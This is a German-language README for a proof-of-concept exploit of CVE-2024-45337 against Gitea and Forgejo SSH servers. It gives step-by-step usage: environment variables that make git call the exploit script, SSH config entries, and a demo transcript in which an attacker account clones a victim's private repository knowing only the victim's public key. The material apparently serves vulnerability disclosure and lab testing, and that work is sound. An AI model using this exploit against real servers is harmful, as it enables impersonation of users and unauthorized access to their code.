
Proof of Concept for CVE-2024-45337 against Gitea and Forgejo
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2024-45337.
Es kann verwendet werden, um ssh zu wrappen, wenn mit einem SSH-Server interagiert wird, der mit golang.org/x/crypto <= v0.30.0 implementiert ist, während Berechtigungen im Callback ServerConfig.PublicKeyCallback auf unsichere Weise zwischengespeichert werden.
Gitea <= 1.22.4 und Forgejo <= 7.0.11, 9.0.2 sind anfällig, wenn sie mit dem internen SSH-Server betrieben werden. Sie können jeden Benutzer impersonieren, solange Sie einen der öffentlichen Schlüssel kennen, die mit dessen Konto verknüpft sind. Sie müssen selbst ein Konto haben, das Sie für die SSH-Authentifizierung verwenden.
docker compose -f docker-compose.forgejo.yml up -d
victim-Benutzer
important_repo und generieren Sie einen initialen Commit mit einer README, damit Sie etwas zum Klonen haben.attacker-Benutzer
GIT_ATTACK_PRIVKEY auf den Pfad zum privaten Schlüssel des gültigen KontosGIT_ATTACK_PUBKEY auf den Pfad zum bekannten öffentlichen Schlüssel des anderen Zielkontos. Wir kennen den privaten Schlüssel dafür nicht.GIT_SSH auf den Pfad zum Exploit-Skript, um git anzuweisen, dieses anstelle des nativen ssh-Befehls zu verwenden.GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
.ssh/config, um Schlüssel beim Klonen anzugeben
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
Ausführung gegen lokalen Forgejo-7.0.11-Container, eingerichtet wie oben.
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.